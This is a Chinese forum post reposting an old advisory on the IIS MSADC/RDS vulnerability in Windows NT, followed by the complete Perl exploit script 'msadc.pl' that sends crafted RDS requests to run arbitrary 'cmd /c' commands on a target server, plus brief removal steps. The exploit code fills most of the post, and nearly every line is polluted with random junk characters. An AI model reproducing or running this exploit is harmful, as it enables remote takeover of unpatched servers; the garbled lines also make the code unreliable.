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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) K dm5O@tq  
Ysu/7o4  
涉及程序: 1tW:(~ =a;  
Microsoft NT server Z&,}Fgl!F  
)v~]lk,o  
描述: I.!/R`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Vm.@qO*=  
OWsYE?  
详细: 3G^Ed)JvE  
如果你没有时间读详细内容的话,就删除: Z > =Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll n bk(F D6  
有关的安全问题就没有了。 K8Zk{on  
U.OX*-Cd  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 (N4(r<o;  
BtChG] N|  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 G`"Cqs<  
关于利用ODBC远程漏洞的描述,请参看: Hw&M2a  
-QDgr`%5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8[;oUVb5  
&,]+>  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Xkom@F~]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q%Q?q)x  
om?CFl  
这里不再论述。 g/p9"eBpq  
/}_c7+//  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: \[1CDz=}1  
C)s1' =TZ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ZGhoV#T@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +z0}{,HX  
a <TL&  
+ t4m\/y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" **w~  
5KE%@,k k  
#!perl Gc z@ze  
# /? 1Yf  
# MSADC/RDS 'usage' (aka exploit) script ok%!o+nk.  
# N09+idg  
# by rain.forest.puppy lFGxW 5  
# )=nPM`Jn.  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me a9zph2o-  
# beta test and find errors! O)%kl  
(!5}" fj  
use Socket; use Getopt::Std; l~TIFmHkh%  
getopts("e:vd:h:XR", \%args); ESjJHZoD(  
sJK:xk.6!  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #r)1<}_e#  
~Z6p3# !o  
if (!defined $args{h} && !defined $args{R}) { Ny,A#-?  
print qq~ Bye@5D  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Bi :wP/>v  
-h <host> = host you want to scan (ip or domain) VfqY_NmgC  
-d <seconds> = delay between calls, default 1 second w <>6>w@GZ  
-X = dump Index Server path table, if available " IkF/  
-v = verbose bSR+yr'?  
-e = external dictionary file for step 5 [2 w <F[  
)  v5n "W  
Or a -R will resume a command session 3J~kiy.nfW  
[S&O-b8A  
~; exit;}  Am%a4{b  
w[7.@%^[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |+xtFe  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Q=L$7   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ElR&scXi__  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  vs])%l%t  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} x$?7)F&z  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -C-OG}XjI  
hf+/kc!>i  
if (!defined $args{R}){ $ret = &has_msadc; T19rbL_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} `TD%M`a  
t#pqXY/;D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" +V);'"L  
. "cmd /c "; w^rb|mKo  
$in=<STDIN>; chomp $in; )Z8"uRTb0  
$command="cmd /c " . $in ; B?lBO V4v4  
 J"Y   
if (defined $args{R}) {&load; exit;} 3pTS@  
yg-FJ/  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $mI:Im`s  
&try_btcustmr; y }&4HrT&  
g"!#]LLe  
print "\nStep 2: Trying to make our own DSN..."; | 2.e0Z]k  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]Z$TzT&@%  
NM1cyZ  
print "\nStep 3: Trying known DSNs..."; mzV"G>,o  
&known_dsn; eN| HJ=  
3:~l2KIP4  
print "\nStep 4: Trying known .mdbs..."; 2c"N-c&A  
&known_mdb; przubMt  
(U(/ C5'  
if (defined $args{e}){ N(_ .N6  
print "\nStep 5: Trying dictionary of DSN names..."; _<%\h?W$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Z(LxB$^l[  
~N{_N95!2@  
print "Sorry Charley...maybe next time?\n"; YV1a 3  
exit; ,a9D~i 9R  
uP(B<NfL:'  
############################################################################## k_K,J 6_)  
$#G6m`V  
sub sendraw { # ripped and modded from whisker /zl3&~4  
sleep($delay); # it's a DoS on the server! At least on mine... 4/HY[FT  
my ($pstr)=@_; k(-Z@   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @~$F;M=.*  
die("Socket problems\n"); N#RD:"RS!  
if(connect(S,pack "SnA4x8",2,80,$target)){ 'NT#(m%  
select(S); $|=1; pcRF: ~TE  
print $pstr; my @in=<S>; h9<mThvgn  
select(STDOUT); close(S); Dm|gSv8d,  
return @in; om".j  
} else { die("Can't connect...\n"); }} ^ o $W  
&Rt+LN0qB0  
############################################################################## MtZt8s  
FX|0R#4vm  
sub make_header { # make the HTTP request ?JXBWB4  
my $msadc=<<EOT *=$[}!YG  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 OH$ F >wO  
User-Agent: ACTIVEDATA gro7*<  
Host: $ip C 'B4 mmC  
Content-Length: $clen W>p\O9BG  
Connection: Keep-Alive :SQDqG   
wUZQB1$F  
ADCClientVersion:01.06 ERp:EZ'  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (j8GiJ]{L,  
!sg%6H?}  
--!ADM!ROX!YOUR!WORLD! jo,6Aog|u  
Content-Type: application/x-varg Po Yr:=S?  
Content-Length: $reqlen \g~ws9'~  
eZ!yPdgy|  
EOT 2UU 2Vm_6  
; $msadc=~s/\n/\r\n/g; ?-pxte8  
return $msadc;} NniX/fk  
,pDp>-vI%  
############################################################################## Q?* nuE  
z6p#fsD  
sub make_req { # make the RDS request ]~?S~l%  
my ($switch, $p1, $p2)=@_; D-Bv(/Pz]$  
my $req=""; my $t1, $t2, $query, $dsn; CCuxC9i7  
,(j>)g2Ob  
if ($switch==1){ # this is the btcustmr.mdb query vx04h~  
$query="Select * from Customers where City=" . make_shell(); #C"7 l6'a  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H,(F1+~d  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} - ,R0IGS  
jv*Dg (  
elsif ($switch==2){ # this is general make table query f|X[gL,B  
$query="create table AZZ (B int, C varchar(10))"; IM[54_I  
$dsn="$p1";} 8BHL  
Ezi' 2Sc  
elsif ($switch==3){ # this is general exploit table query Vn)%C_-]A  
$query="select * from AZZ where C=" . make_shell(); jZa25Z00  
$dsn="$p1";} hA@zoIoe  
D35m5+=I  
elsif ($switch==4){ # attempt to hork file info from index server jz %;4e~t  
$query="select path from scope()"; '/Cg*o/  
$dsn="Provider=MSIDXS;";} p:Iw%eZ:  
,`D/sNP ,q  
elsif ($switch==5){ # bad query 40 A&#u9o  
$query="select"; /r>IV`n{  
$dsn="$p1";} j?=VtVP  
Er`TryN|}  
$t1= make_unicode($query); cE^kpnVq|<  
$t2= make_unicode($dsn); ]9fS@SHdx  
$req = "\x02\x00\x03\x00"; _i-\mR_~  
$req.= "\x08\x00" . pack ("S1", length($t1)); SxMxe,.|  
$req.= "\x00\x00" . $t1 ; w-J"zC  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7Aqn[1{_O  
$req.= "\x00\x00" . $t2 ; *:?QB8YJ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; -y%QRO(  
return $req;} /d[Mss  
Pl_^nFm0  
############################################################################## !syU]Yk  
:){)JZ}-95  
sub make_shell { # this makes the shell() statement {!lNL[x  
return "'|shell(\"$command\")|'";} J(4g4?  
uG4$2  
############################################################################## _jW>dU^B  
w_\nB}_  
sub make_unicode { # quick little function to convert to unicode P%iP:16  
my ($in)=@_; my $out; ? 'Cb-C_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Hyf"iYv+  
return $out;} '[%jjUU  
#?_#!T|  
############################################################################## wXz\NGW  
'gYg~=  
sub rdo_success { # checks for RDO return success (this is kludge) ># INEO  
my (@in) = @_; my $base=content_start(@in); ;"D~W#0-v  
if($in[$base]=~/multipart\/mixed/){ )Q~C4C-j  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} lHcA j{6  
return 0;} w:v=se"U  
E!uJ6\  
############################################################################## b(/j\NWC  
Mw+v"l&mU  
sub make_dsn { # this makes a DSN for us sp^Wo7&g  
my @drives=("c","d","e","f"); 5lGQ#r  
print "\nMaking DSN: "; [O(m/  
foreach $drive (@drives) { |88CBiu}  
print "$drive: "; GKCM|Y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Oc#>QZ3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >:A<"wZ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); =)(0.E  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; P:qz2Hw  
return 0 if $2 eq "404"; # not found/doesn't exist JwB"\&'1ZS  
if($2 eq "200") { pziq0  
foreach $line (@results) { "w9`cz9a~J  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Yc|uD-y  
} return 0;} 5\xr?`VZ  
(#If1[L  
############################################################################## MF^_Z3GS'  
=MxpH+spI  
sub verify_exists { VNO'="U  
my ($page)=@_; v$;@0t:;#  
my @results=sendraw("GET $page HTTP/1.0\n\n"); St+ "ih%  
return $results[0];} g>yry}>04%  
8TW5(fl  
############################################################################## #~S>K3(  
i-]U+m*  
sub try_btcustmr { TtZ}"MPZ  
my @drives=("c","d","e","f"); $~G@   
my @dirs=("winnt","winnt35","winnt351","win","windows"); O5M2`6|As  
NJm-%K  
foreach $dir (@dirs) { YQYX,b  
print "$dir -> "; # fun status so you can see progress .;g}%C  
foreach $drive (@drives) { lov%V*tL  
print "$drive: "; # ditto ?2ItTrlB  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 6} #"qqnx  
$reqlenlen=length( "$reqlen" ); 4gb'7'  
$clen= 206 + $reqlenlen + $reqlen; lm*g Gy1i  
Fm5Q&'`l  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); o,*=$/or  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} U <rI!!#9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} P$OUi!"  
Bzw19S6y  
############################################################################## <h@]Ri  
\7 Gz\=\LR  
sub odbc_error { 5z Kqb  
my (@in)=@_; my $base; nmg{%P  
my $base = content_start(@in); 03_pwB)^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this j8a[ (  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c0ZaFJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =k_UjwgN^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V&iS~V0.  
return $in[$base+4].$in[$base+5].$in[$base+6];} 1'fb @vO  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; V^sc1ak1Q  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ZLrHZhP-+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} )i-gs4[(QN  
*)D1!R<\,R  
############################################################################## 9go))&`PJL  
Y[um|M315  
sub verbose { F>-}*o  
my ($in)=@_; 3AeH7g4<  
return if !$verbose; b 4OnZ;FI  
print STDOUT "\n$in\n";} .&|L|q}  
|r !G,  
############################################################################## <u0,Fp  
kceyuD$3G  
sub save { 2(+P[(N1,  
my ($p1, $p2, $p3, $p4)=@_; 12OlrU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; (w$'o*z;(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $3\,h; y  
close OUT;} +`}o,z/^  
T5e^J"   
############################################################################## !8/gL  
[.-a$J[4+F  
sub load { 0T9. M(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;;Tq$#vd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); |,sM ST%  
@p=<IN>; close(IN); NwpS)6<-  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -N# #w=  
$target= inet_aton($ip) || die("inet_aton problems"); -_>.f(1  
print "Resuming to $ip ..."; I`^YAbnb  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; U=m=1FYaG  
if($p[1]==1) { wOg,SMiq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Uk'U?9O  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; A[JM4x   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); D#0O[F@l##  
if (rdo_success(@results)){print "Success!\n";} yU_9a[$V  
else { print "failed\n"; verbose(odbc_error(@results));}} ;?~ 9hN!  
elsif ($p[1]==3){ .8H}Lf\  
if(run_query("$p[3]")){ u)~s4tP4  
print "Success!\n";} else { print "failed\n"; }} x~+-VF3/  
elsif ($p[1]==4){ >r}Vf9 5[N  
if(run_query($drvst . "$p[3]")){ (U9a@ 1  
print "Success!\n"; } else { print "failed\n"; }} KB[QZ`"%!  
exit;} Uw <{i  
 hY=I5[*  
############################################################################## XU9'Rfp  
0roCP=;  
sub create_table { hW' HT  
my ($in)=@_; !^v\^Fc  
$reqlen=length( make_req(2,$in,"") ) - 28; 6Xa.0(h  
$reqlenlen=length( "$reqlen" ); _tWE8 r,  
$clen= 206 + $reqlenlen + $reqlen; }N,>A-P  
my @results=sendraw(make_header() . make_req(2,$in,"")); m =k%,J_  
return 1 if rdo_success(@results); (oYW]c}G,  
my $temp= odbc_error(@results); verbose($temp); 6N3@!xtpi  
return 1 if $temp=~/Table 'AZZ' already exists/; '{VM> Q  
return 0;} 1VLLo~L%  
[hnK/4!  
############################################################################## oD0EOT/E  
<'2u a  
sub known_dsn { &yLc1#H  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go H.~bD[gA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2 ~-( A  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _6rKC*Pe1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ps+:</;Z  
M&[b.t*  
foreach $dSn (@dsns) { H\+-cvl  
print "."; Le&;g4%  
next if (!is_access("DSN=$dSn")); eP= j.$  
if(create_table("DSN=$dSn")){ ^:z7E1 ~  
print "$dSn successful\n"; &t6Tcy  
if(run_query("DSN=$dSn")){ A.U'Q|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =]b9X7}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )U5u" ]9~  
7$_ :sJ  
############################################################################## TzrW   
kl<g;3  
sub is_access { nh;y:Bi  
my ($in)=@_; 0N5bPb  
$reqlen=length( make_req(5,$in,"") ) - 28; SRWg[H  
$reqlenlen=length( "$reqlen" ); u[EK#%  
$clen= 206 + $reqlenlen + $reqlen; "L@g3g?|`  
my @results=sendraw(make_header() . make_req(5,$in,"")); j^ I!6j=ZX  
my $temp= odbc_error(@results); '!@A}&]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?i%nMlcc  
return 0;} UR,?!rJ^B  
zq=&4afOE  
############################################################################## UN(3i(d  
Bac|;+L~L  
sub run_query { 5L3{w+V  
my ($in)=@_; #JFYws  
$reqlen=length( make_req(3,$in,"") ) - 28; KBj@V6Q  
$reqlenlen=length( "$reqlen" ); g]4y AV<2  
$clen= 206 + $reqlenlen + $reqlen; ,!H\^Vfl  
my @results=sendraw(make_header() . make_req(3,$in,"")); rXDJ:NP  
return 1 if rdo_success(@results); 2-7Z(7G{ F  
my $temp= odbc_error(@results); verbose($temp); b"3uD`  
return 0;} tvCcyD%w  
G<fS (q  
############################################################################## #/s7\2  
kyu2)L2u  
sub known_mdb { "$P'Wv  
my @drives=("c","d","e","f","g"); P eHW[\)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ydyG}XI7V  
my $dir, $drive, $mdb; UQnBqkE  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; F {/>u(@3  
R. O  
# this is sparse, because I don't know of many Cy6%S).c  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0}D-KvjyP  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", z2v<a{e  
"\\system32\\certmdb.mdb", WV@X@]U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% nfa_8  
W7$s5G,  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", gY%OhYtF2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", VZTmzIk.Y  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @"0uM?_)-  
"\\cfusion\\cfapps\\security\\realm_.mdb", /Bh>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #1B}-PGCm  
"\\cfusion\\database\\cfexamples.mdb", G"{4'LlA  
"\\cfusion\\database\\cfsnippets.mdb", v` $%G  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", S7Znz@  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", df^0{gNHx  
"\\cfusion\\brighttiger\\database\\cleam.mdb", m^'~&!ba  
"\\cfusion\\database\\smpolicy.mdb", K[e`t%2_  
"\\cfusion\\database\cypress.mdb", gt~9"I  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", \zBd<H4S:  
"\\website\\cgi-win\\dbsample.mdb", VZHr-z$6n  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Qg[heND  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" UmYD]  
); #these are just z1kBNOr  
foreach $drive (@drives) { Gl.?U;4Z  
foreach $dir (@dirs){ 'y< t/qo  
foreach $mdb (@sysmdbs) { 4{Q$!O>  
print "."; pa> p%  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :,jPNuOA  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; q)NXyy4BT  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ E1#H{)G  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; cT\O v P*_  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5QKRI)XpZ  
[?A&xqO3  
foreach $drive (@drives) { :DDO=  
foreach $mdb (@mdbs) { qI(W$  
print "."; S>.q 5  
if(create_table($drv . $drive . $dir . $mdb)){ ?0 HR(N(z!  
print "\n" . $drive . $dir . $mdb . " successful\n"; %B[YtWqm`/  
if(run_query($drv . $drive . $dir . $mdb)){ BO[+E' 2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?){0-A4  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2@rp<&s  
} Rk}\)r\  
>9 q]>fJ  
############################################################################## }*0,>w>  
G}182"#4  
sub hork_idx { GVeL~Q  
print "\nAttempting to dump Index Server tables...\n"; B.V?s,U  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4 U3C~J  
$reqlen=length( make_req(4,"","") ) - 28; k&WUv0  
$reqlenlen=length( "$reqlen" ); 9 aY'0wa  
$clen= 206 + $reqlenlen + $reqlen; H~~7~1"x  
my @results=sendraw2(make_header() . make_req(4,"","")); P;^y|0N m  
if (rdo_success(@results)){ NKRaQ r  
my $max=@results; my $c; my %d; MomLda V9Q  
for($c=19; $c<$max; $c++){ VEL:JsY  
$results[$c]=~s/\x00//g; s.f`.o  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; <sm#D"GpP  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; TFAYVK~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5T~3$kuO  
$d{"$1$2"}="";} Rbx97(wK  
foreach $c (keys %d){ print "$c\n"; } 2b; rr  
} else {print "Index server doesn't seem to be installed.\n"; }} kEp.0wL'  
eKL]E!  
############################################################################## ~sZqa+jB0  
Is4%}J!8  
sub dsn_dict { ]ev*m&O  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8dV.nO  
while(<IN>){ OAmES;Ck$(  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 5oVLv4Z9u  
next if (!is_access("DSN=$dSn")); k\sc }z8X  
if(create_table("DSN=$dSn")){ aQz|!8Is  
print "$dSn successful\n"; TX< e_[$\  
if(run_query("DSN=$dSn")){ *54>iO- c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { CnxK+1n l  
print "Something's borked. Use verbose next time\n";}}} 9V|E1-")E  
print "\n"; close(IN);} +P>Gy`D9  
`'z(--J}`  
##############################################################################  !7 ei1  
Y}AmX  
sub sendraw2 { # ripped and modded from whisker )2iM<-uB  
sleep($delay); # it's a DoS on the server! At least on mine... W,QnU d'N  
my ($pstr)=@_; `,F&y{ A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || utYnaeQcn  
die("Socket problems\n"); y #hga5  
if(connect(S,pack "SnA4x8",2,80,$target)){ i_j9/k  
print "Connected. Getting data"; KzEuPJ?  
open(OUT,">raw.out"); my @in; tQNk=}VR7r  
select(S); $|=1; print $pstr; !^c:'I>~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .`oJcJ  
close(OUT); select(STDOUT); close(S); return @in; nz,Mqol  
} else { die("Can't connect...\n"); }} \_m\U.*  
zWCW:dI  
############################################################################## oV0LJ%  
3v8V*48B$  
sub content_start { # this will take in the server headers 6F|Hg2tpz  
my (@in)=@_; my $c; -mev%lV  
for ($c=1;$c<500;$c++) { 0EL\Hd  
if($in[$c] =~/^\x0d\x0a/){ p)?qJ2c|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } fe& t-  
else { return $c+1; }}} *G%1_   
return -1;} # it should never get here actually <7_ |Q   
/|4Q9=  
############################################################################## ^l]]qdNr  
J~_L4* Jw  
sub funky { QLn5#x~xb  
my (@in)=@_; my $error=odbc_error(@in); R9b/?*%=9  
if($error=~/ADO could not find the specified provider/){ iQ]T+}nn_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; |'V<>v.v  
exit;} 2ru*#Z#(  
if($error=~/A Handler is required/){ l>3M|js@/  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]Ks]B2Osz  
exit;} TTA{#[=7  
if($error=~/specified Handler has denied Access/){ 8{}Pj  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,\sR;=svK  
exit;}} W%Y.SP$Y  
J[j/aDdP  
############################################################################## vh1 Ma<cx  
cM> G>Yzo  
sub has_msadc { W,9k0t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ugIm:bg&  
my $base=content_start(@results); _/QKWk&j  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Z`-)1!  
return 0;} ,mO(!D  
0UM@L }L  
######################## ~.PPf/ Z8]  
t7C!}'g&'  
!^Z[z[  
解决方案: (]zl$*k  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll sx)$=~o  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 n3HCd- z  
W[[YOK1T  
拿出来充数 哈哈
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